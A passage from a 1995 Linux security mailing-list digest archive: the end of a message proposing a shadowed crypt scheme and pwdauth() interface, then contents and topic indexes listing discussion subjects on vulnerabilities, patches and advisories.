numbers in /etc (most hosts would only need one such number; the possibility to have several is there so that the number can be changed without having to reset all user passwords). The crypt function then computes MD5(,)[1], discards all but the first 64 bits and returns them base-64-encoded in the usual fashion of crypt(3). [1] here is the argument from the crypt call. Password-changing programs would need to be modified to look up the most recent (preferably the first) entry from the magic cookies file, and to set the salt to "$" followed by its index, so that the crypt function will use the "shadowed" version of crypt. If they do not do this then the program will produce non-shadow passwords. When crypt was running unprivileged it should contact a permanently-running daemon via a Unix-domain socket and get it to do the encryption. This allows unprivileged programs to check passwords, without giving them access to the shadowing information. A daemon is better than a setuid program, because it is easier to write correctly, easier for the system administrator to turn off and on, and makes it easier to limit the rate at which enquiries are made. Note that the shadowing information is in the per-host keys file, not in the passwd file, whose format and organisation remain unchanged apart from the change to the way the encrypted password field is used by crypt. If crypt fails to open the key file or contact the daemon it could perhaps call exit, or do a normal crypt and then set the first character to a *, or something. Unfortunately there is no way to indicate to a program that crypt has failed, because a standard version of crypt can never fail. 3. JFH's shadow suite I'm told that JFH's shadow suite has had many of its copyright problems resolved. However, that doesn't tell us whether it is a good thing. Using JFH-style shadow passwords requires every password checking program to be changed and recompiled to use getspent instead of getpwent, and to understand the shadow password mechanism. So, we have to put in the effort required to change all of these programs, but we still don't end up with a generalised flexible API which is independent of the cryptographic or other mechanisms used, and the next time we want to change something it will all happen again. It is true that JFH's shadow suite contains password ageing and other potentially useful features. To support these it is simple to retain the getspent interface of JFH's library, but we must mandate that programs using getspent do *not* assume that they can check the password using the information they get from getspent. 4. Conclusions * We should implement pwdauth() ASAP, and start converting programs to use it. * If we want shadowing on systems where not all of the programs have been changed to support pwdauth we should use my scheme above. * We should support JFH's shadow suite only for password ageing and similar features; these are minority applications (and have debateable merits in security terms) and so should go on the back burner. Ian. ------------------------------ End of linux-security-digest V1 #56 *********************************** linux-security-digest/1995/CONTENTS100664 1767 1767 54423 6246256250 16230 0ustar majdommajdom v01.n001: linux-security-digest V1 #1 General information and test. Shadow Passwords? Re: Shadow Passwords? Re: NFS deamon can be killed by normal users. Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? NFS server Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Sh*dow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? v01.n002: linux-security-digest V1 #2 Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: NFS server Pro-active passwd(1)'s Secure setup for file transfer Re: NFS server Re: Shadow Passwords? Re: Sh*dow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? v01.n003: linux-security-digest V1 #3 Re: NFS server Re: Secure setup for file transfer Re: Sh*dow Passwords? Re: Sh*dow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Sh*dow Passwords? Re: NFS server Re: Sh*dow Passwords? Re: Sh*dow Passwords? Re: Secure setup for file transfer Re: Secure setup for file transfer Shadow discussions Re: Shadow Passwords? Re: Sh*dow Passwords? v01.n004: linux-security-digest V1 #4 Re: Secure setup for file transfer Re: Sh*dow Passwords? Anyone get Sudo working w/ Shadow? Re: Secure setup for file transfer Re: Sh*dow Passwords? Re: Secure setup for file transfer Re: Shadow Passwords? Re: Secure setup for file transfer Re: Secure setup for file transfer Re: Shadow discussions Re: Shadow discussions Re: Shadow discussions ... don't forget skey Safe NFS outline Re: Anyone get Sudo working w/ Shadow? v01.n005: linux-security-digest V1 #5 Re: Safe NFS outline Re: NFS server Re: Safe NFS outline Re: Safe NFS outline Re: Shadow discussions ... don't forget skey Re: Secure setup for file transfer Quick info. pointers for shadow stuff. Re: Secure setup for file transfer Re: Secure setup for file transfer Re: Shadow discussions ... don't forget skey Re: Shadow discussions ... don't forget skey Re: Secure setup for file transfer Re: Safe NFS outline tty permissions Re: Shadow discussions ... don't forget skey SvgaLib (was Re: Secure setup for file transfert) Re: Shadow discussions ... don't forget skey v01.n006: linux-security-digest V1 #6 Re: tty permissions Re: tty permissions Re: SvgaLib (was Re: Secure setup for file transfert) Re: tty permissions Re: tty permissions Re: tty permissions Yet another NFS hole Re: tty permissions Re: Secure setup for file transfer Re: Secure setup for file transfer Re: SvgaLib (was Re: Secure setup for file transfert) Re: tty permissions Re: Yet another NFS hole v01.n007: linux-security-digest V1 #7 Re: Yet another NFS hole Re: tty permissions Re: SvgaLib (was Re: Secure setup for file transfert) Re: Yet another NFS hole Re: tty permissions Re: Secure setup for file transfer Re: tty permissions Re: Safe NFS outline Re: tty permissions Re: tty permissions Re: tty permissions Re: tty permissions Re: tty permissions NFS patch v01.n008: linux-security-digest V1 #8 Re: tty permissions "Find all the SUID programs." Fine. So which *should* be SUID? Re: NFS patch Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: NFS patch Re: "Find all the SUID programs." Fine. So which *should* be SUID? tty utilities follow up Re: Secure setup for file transfer Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? v01.n009: linux-security-digest V1 #9 NFS spoof tool NFS Vulnerability Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Closing suid root holes Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: NFS patch Re: "Find all the SUID programs." Fine. So which *should* be SUID? v01.n010: linux-security-digest V1 #10 Re: SECURITY: NFS Vulnerability Re: Closing suid root holes Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: Closing suid root holes Closing suid root holes Re: "Find all the SUID programs." Fine. So which *should* be SUID? /usr/local/... file placement, and vendor security quality control Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? rsh et al.: Linux's ipfw seems to solve the practical problem. in.talkd+antiflash bsd in.talkd+antiflash remote-remote hole Re: "Find all the SUID programs." Fine. So which *should* be SUID? in.talkd+flash v01.n011: linux-security-digest V1 #11 Re: Closing suid root holes finger @ bug Netscape sending unauthorized stuff? Re: Closing suid root holes Re: finger @ bug Re: /usr/local/... file placement, and vendor security quality control Re: SECURITY: NFS Vulnerability Oops...didn't mean to approve that last one! [was: Re: SECURITY: NFS Vulnerability] Re: SECURITY: NFS Vulnerability Re: in.talkd+flash Re: Netscape sending unauthorized stuff? Re: finger @ bug Netscape sending unauthorized stuff? Re: SECURITY: NFS Vulnerability Re: rsh et al.: Linux's ipfw seems to solve the practical problem. miscellaneous Reply-To headers. Re: finger @ bug v01.n012: linux-security-digest V1 #12 Hey, I have a big one. XDM creates "floating" socket? Linux NFS client Re: finger @ bug Re: finger @ bug Important security fix to getpwnam.c Somebody else to report bugs to Re: Linux NFS client[ v01.n013: linux-security-digest V1 #13 Re: finger @ bug DFN-CERT and Linux bugs (was: Somebody else to report bugs to) Re: Linux NFS client patch archive [long moderator's note attached] SSL protocol File Permission Checker DIP suid security problem GNU finger 1.37 executes ~/.fingerrc with gid root (fwd) GNU finger 1.37 executes ~/.fingerrc with gid root list of vulnerable programs v01.n014: linux-security-digest V1 #14 Re: list of vulnerable programs List archives now available via FTP. shadow-3.3.1 useradd bug IP firewall users: upgrade from kernel 1.2.0 to 1.2.1. Skey use with Linux Re: Skey use with Linux Slackware v01.n015: linux-security-digest V1 #15 Linux-security archive on the WWW. Re: Slackware v01.n016: linux-security-digest V1 #16 (fwd) security hole in Yggdrasil Linux Re: security hole in Yggdrasil Linux security hole in old versions of at for Linux Report: LINUX and SATAN SATAN /etc/hosts.equiv in Slackware 2.2.0 and earlier LINUX FAQ Update (Linux and NFS) Re: LINUX FAQ Update (Linux and NFS) SATAN information v01.n017: linux-security-digest V1 #17 Trojan in Linux Satan Binaries Serious security hole: log files Re: Serious security hole: log files Linux Security FAQ Update: Trojan in Satan Binaries useradd bug randomizing filehandles: why not use fsirand? Re: randomizing filehandles: why not use fsirand? Re: Trojan in Linux Satan Binaries NFS uid/gid map daemon v01.n018: linux-security-digest V1 #18 HTTPD bug httpd problem - summary of replies SUDO bug Re: SUDO bug IP firewalling and security Nobody could be anybody Re: randomizing filehandles: why not use fsirand? v01.n019: linux-security-digest V1 #19 Re: SUDO bug FYI: Current security lists' propagation. Re: IP firewalling and security IP firewalling and security Re: IP firewalling and security Mailing-list statistic-compilation utility. Satan module for Linux/AIX rlogin -froot bug LILO hole v01.n020: linux-security-digest V1 #20 Re: LILO hole Proposal - Linux security package and howto Not just "sniffers" Re: Security problem in proc fs linux nfsd and now, back to your regularly scheduled discussion topic... v01.n021: linux-security-digest V1 #21 Re: LILO hole CFS IP Firewalling docs? Re: Proposal - Linux security package and howto Re: Proposal - Linux security package and howto Re: linux nfsd Re: linux nfsd Explanation of sudden burst of list traffic. Re: Proposal - Linux security package and howto Securing the console of a linux system, given a secure boot v01.n022: linux-security-digest V1 #22 switching symlinks on atrun Re: Proposal - Linux security package and howto [SUMMARY] Securing the console of a linux system, given a secure boot Re: switching symlinks on atrun Re: switching symlinks on atrun Re: Proposal - Linux security package and howto NFS re-export and more Should root own binaries? Re: skey + shadow-3.3.1 logins Re: switching symlinks on atrun Wu-ftpd. Re: is /usr/bin/passwd as a shell a security-hazard? Re: Wu-ftpd. v01.n023: linux-security-digest V1 #23 Re: Wu-ftpd. Re: SECURITY: problem with some wu-ftpd-2.4 binaries wu-ftp aa-95.04 wu-ftpd misconfiguration vulnerability wu-ftpd: affected ditributions v01.n024: linux-security-digest V1 #24 Linux Security FAQ Update#4: Washington University FTP Daemon Version 2.4 Another problem with wu-ftpd (shadow) Re: Another problem with wu-ftpd (shadow) wu.ftpd InfoMagic March 1995 Fix. wu-ftpd and /proc again v01.n025: linux-security-digest V1 #25 Fragmentation Re: Fragmentation Details on yppasswdd hole running w/o proc fs? Re: running w/o proc fs? v01.n026: linux-security-digest V1 #26 Hacking a site with Postscript Secure Distributed Password System? Re: Hacking a site with Postscript Re: Secure Distributed Password System? Any user can send a SIGURG to any process +:*:0:0:::/bin/false does not work. Why? Re: Secure Distributed Password System? Re: +:*:0:0:::/bin/false does not work. Why? Re: Secure Distributed Password System? Re: +:*:0:0:::/bin/false does not work. Why? Re: Exploit for Linux wu.ftpd hole [Forwarded e-mail from Stan Barber] Re: Exploit for Linux wu.ftpd hole Interesting stuff Yggdrasil Linux (mis)configuration problem Re: Secure Distributed Password System? Exploit+fix for Linux SIGURG v01.n027: linux-security-digest V1 #27 Re: [Linux-ISP] Slackware questions (fwd) Re: [Linux-ISP] Slackware questions The FTP Bounce Attack (fwd) More on the FTP bounce attack lpr(1) bug Phrack v01.n028: linux-security-digest V1 #28 COPS Re: [Linux-ISP] lpr(1) bug YAWTCQ Re: YAWTCQ Re: YAWTCQ Tentative fix for BSD lpr v01.n029: linux-security-digest V1 #29 Re: Tentative fix for BSD lpr Re: Tentative fix for BSD lpr Re: YAWTCQ proc-less network tools (summary) Re: YAWTCQ Re: YAWTCQ (fwd) Re: suid root lpr Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0 v01.n030: linux-security-digest V1 #30 SECURITY ALERT: Dangerous hole in vacation v1.0. write does not clear suids bit Re: write does not clear suids bit MAP_DENYWRITE allows denial-of-service Perl guru Randal Schwartz convicted. chfn problem with Linux Linux problems (was Re: rlogin revealed) Re: SECURITY ALERT: Dangerous hole in vacation v1.0 Re: SECURITY ALERT: Dangerous hole in vacation v1.0. Re: chfn problem with Linux v01.n031: linux-security-digest V1 #31 Re: chfn problem with Linux Re: chfn problem with Linux passwd problem Re: chfn problem with Linux wu-ftp - visible passwords. Another denial-of-service... Re: Security Problem with DOSEMU Security Problem with DOSEMU Re: wu-ftp - visible passwords. Re: wu-ftp - visible passwords. v01.n032: linux-security-digest V1 #32 Ghostscript problem Re: Ghostscript problem IP firewalling bugs Re: Ghostscript problem Re: Ghostscript problem Re: Ghostscript problem problem with selection Re: problem with selection Re: problem with selection v01.n033: linux-security-digest V1 #33 Re: problem with selection Final analysis of syslog threat under Linux Re: Final analysis of syslog threat under Linux Re: problem with selection XDM-AUTHORIZATION-1 Re: problem with selection Re: problem with selection selection summary Re: selection summary Re: selection summary v01.n034: linux-security-digest V1 #34 elm and /tmp/mbox.*: patch Re: elm and /tmp/mbox.* Re: selection summary console security (was Re: problem with selection) Re: elm and /tmp/mbox.* Re: elm and /tmp/mbox.* Re: console security (was Re: problem with selection) Linux adduser security bug [Forwarded e-mail from Mark Whitis] Linux adduser security bug Re: elm and /tmp/mbox.* Re: Linux adduser security bug [Forwarded e-mail from Mark Whitis] v01.n035: linux-security-digest V1 #35 Re: elm and /tmp/mbox.* syslog(2), libc-4.7.4: Versions confuse me. my sentence [Forwarded e-mail from Randal L. Schwartz] my sentence Re: elm and /tmp/mbox.* security hole in deliver Re: syslog(2), libc-4.7.4: Versions confuse me. Re: elm and /tmp/mbox.* Re: syslog(2), libc-4.7.4: Versions confuse me. Re: elm and /tmp/mbox.* Wher to find minicom-1.71 source routing v01.n036: linux-security-digest V1 #36 .rhosts summary Re: source routing Re: source routing Problem with INN 1.4sec Re: elm and /tmp/mbox.* Re: source routing Re: elm and /tmp/mbox.* Problem with /dev/ttyp* v01.n037: linux-security-digest V1 #37 Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Listening on /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* cron 3.0pl1-20: URGENT SECURITY FIX (fwd) cron 3.0pl1-20: URGENT SECURITY FIX Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* v01.n038: linux-security-digest V1 #38 Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) Re: Problem with /dev/ttyp* SENDMAIL 8.7 SECURITY ALERT Re: cron 3.0pl1-20: URGENT SECURITY FIX Re: Problem with /dev/ttyp* Re: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) Re: console security (was Re: problem with selection)h Re: Problem with /dev/ttyp* Re: console security Re: console security (was Re: problem wi v01.n039: linux-security-digest V1 #39 Re: Problem with /dev/ttyp* Re: console security (was Re: problem wi Re: console security (was Re: problem wi Re: Problem with /dev/ttyp* Re: console security (was Re: problem with selection)h Re: console security (was Re: problem with selection)h (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! v01.n040: linux-security-digest V1 #40 Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Kernel /proc security holes Re: pop3d stuff Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Re: POP3 security hole (Maybe just one distribution/binary?) Re: Kernel /proc security holes Re: console security (was Re: problem wi v01.n041: linux-security-digest V1 #41 PPP security hole? Re: console security (was Re: problem wi Re: PPP security hole? Re: console security (was Re: problem wi Re: console security (was Re: problem wi Re: PPP security hole? Re: PPP security hole? Re: console security (was Re: problem wi URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability v01.n042: linux-security-digest V1 #42 mounting partitions nosuid under Slackware 3.0 Re: mounting partitions nosuid Re: mounting partitions nosuid NOSUID on CD-ROMs /var/spool/mail permissions slackware 3.0 bad hole Re: slackware 3.0 bad hole Re: /var/spool/mail permissions Re: slackware 3.0 bad hole Re: /var/spool/mail permissions mail spool Slackware ftpd wrap-up v01.n043: linux-security-digest V1 #43 Minor security problem. Telnetd Environment Vulnerability telnetd shared lib hole SSLtelnet patch Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability v01.n043a: linux-security-digest V1 #43 Telnetd Security Hole telnetd shared lib hole NEW security hole in in.telnetd Telnet vulnerability: shared libraries Re: telnet vulnerability giving root access v01.n044: linux-security-digest V1 #44 Telnet vulnerability: shared libraries (fwd) Re: telnetd shared lib hole Re: telnetd shared lib hole Re: telnetd shared lib hole Re: telnetd shared lib hole Re: Telnetd Environment Vulnerability (fwd) SSLtelnet patch SSLtelnet patch Re: SSLtelnet patch ld.so gaping hole. linux a.out ld.so problem (fwd) Telnetd Security Hole Telnetd Security Hole v01.n045: linux-security-digest V1 #45 Surge in list traffic, pending removal of linux-alert-digest. Re: linux a.out ld.so problem Re: BoS: Telnetd Environment Vulnerability Re: linux a.out ld.so problem Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Re: double security digest vol 01 number 043 Re: Surge in list traffic, pending removal of linux-alert-digest. Re: linux a.out ld.so problem Re: linux a.out ld.so problem Re: ld.so gaping hole. v01.n046: linux-security-digest V1 #46 Re: linux a.out ld.so problem "Source Route Failed" anyone else? Re: ld.so gaping hole. Re: SSLtelnet patch Thread on telnet, $LD_LIBRARY_PATH security problems. Re: telnetd shared lib hole Re: telnetd hole Re: ld.so gaping hole. Re: telnetd hole Another possible problem with ld.so? Slight change in Majordomo server delivery, but don't worry... v01.n047: linux-security-digest V1 #47 Re: Slight change in Majordomo server delivery, but don't worry... Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability ATTN! CORRECTION: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Administrative changes, notes. Administrative changes, notes. Administrative changes, notes. telnetd.95.10.23.patch v01.n048: linux-security-digest V1 #48 telnetd.95.10.23.patch One last (hopefully!) administrative note. Re: Another possible problem with ld.so? telnetd/ld.so security hole. Mail routing (admin). New ld.so package available (fwd) v01.n049: linux-security-digest V1 #49 CERT and wu-ftpd advisory EMERGENCY LINUX SECURITY FAQ UPDATE: PGP KEY COMPROMISE PGP key compromise. Re: CERT and wu-ftpd advisory 'ypupdated' hole, system crackers. Re: Linux/freeBSD & Firewalls for a Newbw :-) (fwd) Re: Linux/freeBSD & Firewalls for a Newbw :-) Avalon Release Re: 'ypupdated' hole, system crackers. v01.n050: linux-security-digest V1 #50 Re: 'ypupdated' hole, system crackers. Linux Security FAQ Update#8: CERT-95:14 - Telnetd fixes for Linux Re: CERT and wu-ftpd advisory Re: 'ypupdated' hole, system crackers. Re: Avalon Release Another telnetd security problem? Re: Avalon Release Re: Avalon Release Re: Avalon Release v01.n051: linux-security-digest V1 #51 Re: Avalon Release Possible denial of service attack Re: Avalon Release ypupdated hole Re: Possible denial of service attack Getting security tools into a mainstream distribution SECURITY: Announcing Splitvt 1.6.3 Re: Getting security tools into a mainstream distribution Re: Getting security tools into a mainstream distribution Re: Getting security tools into a mainstream distribution v01.n052: linux-security-digest V1 #52 Re: Getting security tools into a mainstream distribution Netscape "bug" (fwd) Netscape "bug" Re: Getting security tools into a mainstream distribution ADMIN: Posts on crypto stuff in Linux distributions Re: Netscape "bug" (fwd) Re: Getting security tools into a mainstream distribution Just wondering about timing and IPng. New beta release of the shadow suite (fwd) CERT Vendor-Initiated Bulletin VB-95:10 - Vulnerability in elm 2.4 (fwd) CERT Vendor-Initiated Bulletin VB-95:10 - Vulnerability in elm 2.4 v01.n053: linux-security-digest V1 #53 mailx-5.5 (slackware /bin/mail) security hole Re: mailx-5.5 (slackware /bin/mail) security hole Race conditions. v01.n054: linux-security-digest V1 #54 more mktemp() and pop3d filter (elm package) security hole Filter Exploit elvis rxvt security hole Re: rxvt security hole rxvt hole v01.n055: linux-security-digest V1 #55 Linux Security FAQ Update#9: Splitvt Vulnerability Slight mail hub problems: three "dropped" posts. rxvt security hole elvis Re: rxvt security hole /proc insecurity about chroot. Re: /proc insecurity Re: /proc insecurity v01.n056: linux-security-digest V1 #56 restorefont security hole Re: about chroot. Re: about chroot. Re: about chroot. Re: /proc insecurity Password checking - JFH the way forward ? linux-security-digest/1995/TOPICS100664 1767 1767 36437 6246256250 16001 0ustar majdommajdom"Find all the SUID programs." Fine. ... v01.n008, v01.n009, v01.n010 "Find all the SUID programs." Fine. S... v01.n008, v01.n009, v01.n010 "Source Route Failed" anyone else? v01.n046 'ypupdated' hole, system crackers. v01.n049, v01.n050 (fwd) [Linux-ISP] U R G E N T!!!! S... v01.n039 (fwd) [Linux-ISP] U R G E N T!!!! S E... v01.n040 (fwd) CERT Vendor-Initiated Bulletin ... v01.n052 (fwd) Re: suid root lpr v01.n029 (fwd) security hole in Yggdrasil Linux v01.n016 (fwd) SSLtelnet patch v01.n044 (fwd) Telnetd Security Hole v01.n044 +:*:0:0:::/bin/false does not work. Why? v01.n026 .rhosts summary v01.n036 /etc/hosts.equiv in Slackware 2.2.0 a... v01.n016 /proc insecurity v01.n055, v01.n056 /usr/local/... file placement, and ve... v01.n010, v01.n011 /var/spool/mail permissions v01.n042 [Linux-ISP] lpr(1) bug v01.n028 [Linux-ISP] Slackware questions v01.n027 [Linux-ISP] Slackware questions (fwd) v01.n027 [Linux-ISP] U R G E N T!!!! S E C U... v01.n039 [SUMMARY] Securing the console of a l... v01.n022 aa-95.04 wu-ftpd misconfiguration vul... v01.n023 about chroot. v01.n055, v01.n056 ADMIN: Posts on crypto stuff in Linux... v01.n052 Administrative changes, notes. v01.n047 and now, back to your regularly sched... v01.n020 Another denial-of-service... v01.n031 Another possible problem with ld.so? v01.n046, v01.n048 Another problem with wu-ftpd (shadow) v01.n024 Another telnetd security problem? v01.n050 Anyone get Sudo working w/ Shadow? v01.n004 Any user can send a SIGURG to any pro... v01.n026 ATTN! CORRECTION: Re: Fwd: CERT Advis... v01.n047 Avalon Release v01.n049, v01.n050, v01.n051 BoS: Telnetd Environment Vulnerability v01.n045 bsd in.talkd+antiflash remote-remote ... v01.n010 CERT and wu-ftpd advisory v01.n049, v01.n050 CERT Vendor-Initiated Bulletin VB-95:... v01.n052 CFS v01.n021 chfn problem with Linux v01.n030, v01.n031 Closing suid root holes v01.n009, v01.n010, v01.n011 console security v01.n038 console security (was Re: problem wi v01.n038, v01.n039, v01.n040, v01.n041 console security (was Re: problem wit... v01.n034, v01.n038, v01.n039 COPS v01.n028 cron 3.0pl1-20: URGENT SECURITY FIX v01.n037, v01.n038 cron 3.0pl1-20: URGENT SECURITY FIX (... v01.n037, v01.n038 Details on yppasswdd hole v01.n025 DFN-CERT and Linux bugs (was: Somebod... v01.n013 DIP suid security problem v01.n013 double security digest vol 01 number 043 v01.n045 elm and /tmp/mbox.* v01.n034, v01.n035, v01.n036 elm and /tmp/mbox.*: patch v01.n034 elvis v01.n054, v01.n055 EMERGENCY LINUX SECURITY FAQ UPDATE: ... v01.n049 Explanation of sudden burst of list t... v01.n021 Exploit+fix for Linux SIGURG v01.n026 Exploit for Linux wu.ftpd hole v01.n026 Exploit for Linux wu.ftpd hole [Forwa... v01.n026 File Permission Checker v01.n013 filter (elm package) security hole v01.n054 Filter Exploit v01.n054 Final analysis of syslog threat under... v01.n033 finger @ bug v01.n011, v01.n012, v01.n013 Fragmentation v01.n025 Fwd: CERT Advisory CA-95:14 - Telnetd... v01.n043, v01.n045, v01.n047 FYI: Current security lists' propagat... v01.n019 General information and test. v01.n001 Getting security tools into a mainstr... v01.n051, v01.n052 Ghostscript problem v01.n032 GNU finger 1.37 executes ~/.fingerrc ... v01.n013 Hacking a site with Postscript v01.n026 Hey, I have a big one. v01.n012 HTTPD bug v01.n018 httpd problem - summary of replies v01.n018 Important security fix to getpwnam.c v01.n012 in.talkd+antiflash v01.n010 in.talkd+flash v01.n010, v01.n011 Interesting stuff v01.n026 IP firewalling and security v01.n018, v01.n019 IP firewalling bugs v01.n032 IP Firewalling docs? v01.n021 IP firewall users: upgrade from kerne... v01.n014 is /usr/bin/passwd as a shell a secur... v01.n022 Just wondering about timing and IPng. v01.n052 Kernel /proc security holes v01.n040 ld.so gaping hole. v01.n044, v01.n045, v01.n046 LILO hole v01.n019, v01.n020, v01.n021 linux-security-digest V1 #1 v01.n001 linux-security-digest V1 #10 v01.n010 linux-security-digest V1 #11 v01.n011 linux-security-digest V1 #12 v01.n012 linux-security-digest V1 #13 v01.n013 linux-security-digest V1 #14 v01.n014 linux-security-digest V1 #15 v01.n015 linux-security-digest V1 #16 v01.n016 linux-security-digest V1 #17 v01.n017 linux-security-digest V1 #18 v01.n018 linux-security-digest V1 #19 v01.n019 linux-security-digest V1 #2 v01.n002 linux-security-digest V1 #20 v01.n020 linux-security-digest V1 #21 v01.n021 linux-security-digest V1 #22 v01.n022 linux-security-digest V1 #23 v01.n023 linux-security-digest V1 #24 v01.n024 linux-security-digest V1 #25 v01.n025 linux-security-digest V1 #26 v01.n026 linux-security-digest V1 #27 v01.n027 linux-security-digest V1 #28 v01.n028 linux-security-digest V1 #29 v01.n029 linux-security-digest V1 #3 v01.n003 linux-security-digest V1 #30 v01.n030 linux-security-digest V1 #31 v01.n031 linux-security-digest V1 #32 v01.n032 linux-security-digest V1 #33 v01.n033 linux-security-digest V1 #34 v01.n034 linux-security-digest V1 #35 v01.n035 linux-security-digest V1 #36 v01.n036 linux-security-digest V1 #37 v01.n037 linux-security-digest V1 #38 v01.n038 linux-security-digest V1 #39 v01.n039 linux-security-digest V1 #4 v01.n004 linux-security-digest V1 #40 v01.n040 linux-security-digest V1 #41 v01.n041 linux-security-digest V1 #42 v01.n042 linux-security-digest V1 #43 v01.n043, v01.n043a linux-security-digest V1 #44 v01.n044 linux-security-digest V1 #45 v01.n045 linux-security-digest V1 #46 v01.n046 linux-security-digest V1 #47 v01.n047 linux-security-digest V1 #48 v01.n048 linux-security-digest V1 #49 v01.n049 linux-security-digest V1 #5 v01.n005 linux-security-digest V1 #50 v01.n050 linux-security-digest V1 #51 v01.n051 linux-security-digest V1 #52 v01.n052 linux-security-digest V1 #53 v01.n053 linux-security-digest V1 #54 v01.n054 linux-security-digest V1 #55 v01.n055 linux-security-digest V1 #56 v01.n056 linux-security-digest V1 #6 v01.n006 linux-security-digest V1 #7 v01.n007 linux-security-digest V1 #8 v01.n008 linux-security-digest V1 #9 v01.n009 Linux-security archive on the WWW. v01.n015 Linux/freeBSD & Firewalls for a Newbw... v01.n049 linux a.out ld.so problem v01.n044, v01.n045, v01.n046 Linux adduser security bug v01.n034 Linux adduser security bug [Forwarded... v01.n034 LINUX FAQ Update (Linux and NFS) v01.n016 Linux NFS client v01.n012, v01.n013 Linux NFS client[ v01.n012 linux nfsd v01.n020, v01.n021 Linux problems (was Re: rlogin revealed) v01.n030 Linux Security FAQ Update#4: Washingt... v01.n024 Linux Security FAQ Update#5: Cipher-3... v01.n029 Linux Security FAQ Update#8: CERT-95:... v01.n050 Linux Security FAQ Update#9: Splitvt ... v01.n055 Linux Security FAQ Update: Trojan in ... v01.n017 List archives now available via FTP. v01.n014 Listening on /dev/ttyp* v01.n037 list of vulnerable programs v01.n013, v01.n014 lpr(1) bug v01.n027 Mailing-list statistic-compilation ut... v01.n019 Mail routing (admin). v01.n048 mail spool v01.n042 mailx-5.5 (slackware /bin/mail) secur... v01.n053 MAP_DENYWRITE allows denial-of-service v01.n030 Minor security problem. v01.n043 miscellaneous v01.n011 more mktemp() and pop3d v01.n054 More on the FTP bounce attack v01.n027 mounting partitions nosuid v01.n042 mounting partitions nosuid under Sla... v01.n042 my sentence v01.n035 my sentence [Forwarded e-mail from Ra... v01.n035 Netscape "bug" v01.n052 Netscape "bug" (fwd) v01.n052 Netscape sending unauthorized stuff? v01.n011 New beta release of the shadow suite v01.n052 New ld.so package available (fwd) v01.n048 NEW security hole in in.telnetd v01.n043a NFS deamon can be killed by normal us... v01.n001 NFS patch v01.n007, v01.n008, v01.n009 NFS re-export and more v01.n022 NFS server v01.n001, v01.n002, v01.n003, v01.n005 NFS spoof tool v01.n009 NFS uid/gid map daemon v01.n017 NFS Vulnerability v01.n009 Nobody could be anybody v01.n018 NOSUID on CD-ROMs v01.n042 Not just "sniffers" v01.n020 One last (hopefully!) administrative ... v01.n048 Oops...didn't mean to approve that la... v01.n011 passwd problem v01.n031 Password checking - JFH the way forwa... v01.n056 patch archive [long moderator's note ... v01.n013 Perl guru Randal Schwartz convicted. v01.n030 PGP key compromise. v01.n049 Phrack v01.n027 pop3d stuff v01.n040 POP3 security hole (Maybe just one di... v01.n040 Possible denial of service attack v01.n051 PPP security hole? v01.n041 Pro-active passwd(1)'s v01.n002 Problem with /dev/ttyp* v01.n036, v01.n037, v01.n038, v01.n039 Problem with INN 1.4sec v01.n036 problem with selection v01.n032, v01.n033 proc-less network tools (summary) v01.n029 Proposal - Linux security package and... v01.n020, v01.n021, v01.n022 Quick info. pointers for shadow stuff. v01.n005 Race conditions. v01.n053 randomizing filehandles: why not use ... v01.n017, v01.n018 Reply-To headers. v01.n011 Report: LINUX and SATAN v01.n016 restorefont security hole v01.n056 rsh et al.: Linux's ipfw seems to sol... v01.n010, v01.n011 running w/o proc fs? v01.n025 rxvt hole v01.n054 rxvt security hole v01.n054, v01.n055 Safe NFS outline v01.n004, v01.n005, v01.n007 SATAN v01.n016 SATAN information v01.n016 Satan module for Linux/AIX rlogin -fr... v01.n019 Secure Distributed Password System? v01.n026 Secure setup for file transfer v01.n002, v01.n003, v01.n004, v01.n005, v01.n006, v01.n007, 